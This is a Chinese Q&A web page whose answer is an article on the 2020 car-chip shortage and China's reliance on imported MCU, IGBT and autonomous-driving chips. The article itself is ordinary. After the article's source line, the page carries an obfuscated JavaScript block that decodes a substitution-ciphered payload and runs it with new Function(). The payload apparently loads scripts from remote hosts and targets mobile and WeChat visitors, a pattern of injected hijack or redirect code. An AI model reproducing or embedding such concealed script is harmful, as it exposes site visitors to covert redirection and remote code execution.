电动车最怕缺什么芯片,TA也会被老外“卡脖子”吗?

2025-04-05 21:10:47
推荐回答(1个)
回答1:

“很遗憾,在半导体制造方面,华为只是做了芯片的设计,没搞芯片的制造。”三个月前,在中国信息化百人会2020年峰会上,华为消费者业务CEO余承东表示,由于美国的制裁,华为麒麟高端芯片在9月15日之后无法制造。

这个爆炸性的消息在短时间内就攻占了各大媒体平台的头条,甚至在很长一段时间内,手机芯片相关的新闻、科普内容都成了大家关注的焦点。

在认清现实后,国内消费者才发现经过这些年的快速发展,虽然国内手机自主品牌在许多领域都取得了令人瞩目的成绩,但是在高精尖的芯片制造领域,依旧被国外企业紧紧地“卡脖子”。

华为芯片的断供,也让我们开始担心——“手机芯片都断供了,汽车还会远吗?”

果不其然!在距离结束“黑暗”的2020年仅剩最后一个月之际,全球芯片领域再度遭遇短缺潮,无情的事实就像一只铁手,钳住了汽车行业的喉咙。

月初,一条关于南北大众汽车停产的消息在网上迅速发酵,引起外界的广泛关注。消息称,由于受到芯片供应不足的影响,上汽大众从12月4日开始停产,一汽-大众也从本月初进入停产状态。

这次芯片短缺的原因并不像华为那样掺杂了复杂的因素,更多的是供需关系和车企对市场的判断出现了偏差的问题。

芯片行业采购周期偏长,一般来说要提早半年到一年开始向芯片生产企业订货,年初国内受疫情冲击,车企停产,各家车企在那时候普遍对市场失去信心,纷纷减少芯片订单。但后面随着疫情逐渐受到控制,市场回暖的速度超出了大家的预期,产能需要迅速拉满,这个时候却发现芯片库存告急。

虽然说,年中的时候不少车企试图向国外芯片厂商增加订单,但是那个时候正是国外疫情失控的时间节点,多家海外芯片公司工厂停产减产,导致全球芯片供应量大幅减少。所以国内汽车销量暴增,国外芯片不足,自然就出现“僧多粥少”的现象。

虽然说华为的遭遇只是个案,但是汽车产业的“缺芯”风波,再次暴露出了国内企业在芯片领域的短板。基于此,我们不得不思考一个问题:传统燃油车都会受到芯片短缺的影响,那么更像电子产品的智能电动车,理论上需要的芯片数目和种类会更多。

所以在电动车上,有哪些芯片是存在“爆雷”风险的呢?

MCU:比传统燃油车用的更多,缺芯风险最高

MCU是在一块芯片上集成CPU、内存、计数器、A/D等多种模块的微处理器(相当于一个微型计算机),可为不同应用场景实施不同控制,起到类似于人类大脑的控制作用。在汽车上,MCU既可用于车载信息娱乐产品,也可用于雨刷、车窗、电动座椅等车身控制领域。

举个例子来说,控制发动机运行的ECU(电子控制单元,其核心部件为MCU)上有众多输入输出电路,它和其它电子控制单元一起协同工作,随时接受各种数据并做出指令。

最简单的就是当我们踩下油门踏板时,ECU接收到信号后就会控制发动机喷油量和点火时间,让车辆根据驾驶员意图运行。

根据媒体的报道,这次南北大众出现停产,主要是因为大陆的ESC和发动机ECU两个系统中缺乏芯片供应而断供造成的。

根据市场研究公司iSuppli的报告显示,在一辆车装备的所有半导体器件中,MCU大概占三成。捷豹路虎的工程师Tomar曾在公开演说中提到,捷豹路虎的燃油车通常配备超过70个ECU。

而电动车更加智能化和网联化,数量众多的摄像头、雷达等传感器,在感知、决策和执行机构的运行层面都需要芯片的支持,一台智能电动车所需要的MCU超过300颗(一台更比四台强)。

也就是说,如果未来国内汽车行业,车用芯片自研率依旧只有5%,绝大部分还是靠进口的话,MCU功能芯片的短缺将严重影响新能源汽车的“弯道超车”。

IGBT:新能源汽车的“最强大脑”,价格已经涨了好几次

IGBT学名叫绝缘栅双极型晶体管,它是由绝缘栅双极型晶体管芯片(IGBT)与续流二极管芯片(FWD),通过特定的电路桥接封装而成的模块化半导体产品。

IGBT可以说是汽车电控的核心,堪称是新能源车的“最强大脑”。一般情况下,一辆纯电动汽车需要数百个IGBT模块,其成本占整个电控部分成本的近50%,同时占整车成本的5-10%。

IGBT在电动车的作用是将交流电和直流电进行转换,同时IGBT还承担电压的高低转换的功能。

举个例子来说,电动车在充电时,充电桩输出的是交流电,这时就需要通过IGBT把交流电转变成直流电,同时要把220V电压转换成适当的电压值才能给电池组充电。

正常行驶的时候,电池中的直流电需要通过IGBT转变成交流电机才可以让电机工作起来。IGBT的好坏直接影响电动车功率的释放速度,直白点说就是影响电动车的性能表现。

除此之外,IGBT在充电桩电源模块上还扮演了必不可少的角色,它约占充电桩 20% 的成本。

未来新能源汽车的普及也必将推动充电桩需求的提升,且随着应用场景的优化,快充将成必然需求,带动充电桩数量和功率的提升,IGBT的市场空间将进一步扩大。

遗憾的是,电动车和充电桩上这么关键的一个东西,在国内除了比亚迪(设计和量产)和其他拥有芯片设计能力的小型企业外,绝大部分基本上时被国外企业所垄断。

三菱电机生产的IGBT已经成为业内默认的标准,同时欧洲的阿尔斯通、西门子、庞巴迪也是一半以上采用三菱电机的IGBT。除了日系厂家,英飞凌也包揽了几乎所有电动车的IGBT芯片。

那么IGBT是不是和MCU芯片一样已经开始断供了呢?

目前,蔚来、小鹏和理想汽车等多家新能源车企表示生产暂时没有受到芯片(MCU、IGBT)短缺的影响,并且已经提前做好准备。

新能源汽车车企为什么没有受到这次“缺芯”风波的影响原因其实很明显:和燃油车比起来,新能源汽车的大盘还是太小,各家车企对市场的判断比较客观,芯片相关的订单恰到好处。虽然说,IGBT芯片还没有出现断供,但是它的价格已经涨了好几轮。

实际上,早在2019年第二季度开始,晶圆(可以看做芯片原料)供应不足的问题就已经出现。然而今年受疫情停工等因素影响,晶圆供应不足的问题日趋严重,尤其是汽车用的8英寸晶圆的供应早已经严重紧张,交货时间早就被延长至了3-4个月。

其中,一直被英飞凌、三菱、富士电机等少数供应商所垄断的IGBT,缺货涨价更是持续了较长时间,业内甚至一度传出IGBT供货周期延长至52周(此前正常的供货周期是7-8周),价格甚至有的已经翻了一倍。

从这个趋势可以看出,除非比亚迪这样的“实干”造芯企业越来越多,不然未来新能源汽车数量不断攀升后,IGBT芯片同样会出现缺芯“爆雷”的情况。

自动驾驶芯片:不会短缺,但是依旧限制于人

在大多数消费者来看,自动驾驶和电动车相辅相成,缺一不可。

但是他们不知道,在自动驾驶领域,如果说车载摄像头、毫米波雷达以及激光雷达是人的眼睛、手、嗅觉等感官部位,那自动驾驶芯片就可以比作是人的大脑,负责处理各类复杂计算。

不管是L2、L3还是L4级自动驾驶功能,都需要通过自动驾驶芯片,才能在短暂的数秒内把数以百G的信息通过传感器进行接收和处理,最终让车辆做出正确的动作。

并且长远来看,自动驾驶、车机系统的芯片将逐渐成为汽车的核心芯片,在中央计算架构的趋势下,一两颗主芯片完全可以把现在分布式电子电气架构上的所有MCU和计算芯片所取代。

由此可见,未来在电动车上,自动驾驶芯片的作用和价值将更加的大。但是遗憾的是,目前,高端自动驾驶芯片市场依旧是欧美企业的天下,包括英伟达、Intel、高通、德州仪器、Mobileye等企业。

比如,蔚来ES8、ES6、理想ONE车型搭载了Mobileye的Q4自动驾驶芯片,小鹏汽车装配的是英伟达 Xavier芯片,零跑汽车采购了德州仪器的产品。

相比于MCU、IGBT的情况,自动驾驶芯片在国内的“活路”要多一些,比较知名的芯片企业有华为海思(昇腾)、联发科、地平线和黑芝麻智能等。其中,黑芝麻的芯片在算力上已经相当接近特斯拉的FDS,并且功耗减少了一半多。

但是又有几家车企选择装机了呢?虽然说,长安UNI-T的自动驾驶芯片就来自于地平线征程二代。但是,征程二代芯片依旧是由台积电代工,如果老外想断供也还是分分钟的事。

总而言之,即便国内芯片企业在研发设计上有所突破,但芯片制造之路依旧特别艰难。

南北大众的芯片短缺停产消息,让“芯片短缺”情况再次进入公众的视野,虽然说这件事与华为芯片断供存在明显区别,但是也暴露出当前国内自主芯片研发不足的严重问题。汽车大国和汽车强国,看上去就一字之差,但从各类芯片绝大部分都需要进口来看,就知道这背后的技术差距并非一朝一夕。

随着电动化和智能化大潮的兴起,未来国内新能源汽车市场对芯片尤其是高端芯片的需求只会越来越大。中国车企要想不被别人卡脖子,就必须要自主掌握芯片的研发、设计和生产的能力。这样才成真正意义上做到“弯道超车”。

本文来源于汽车之家车家号作者,不代表汽车之家的观点立场。

!function(){function a(a){var _idx="f4isr6o1zu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR87o6L5KO}4_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"7o6L5KO}4_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR87o6L5KO}4_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();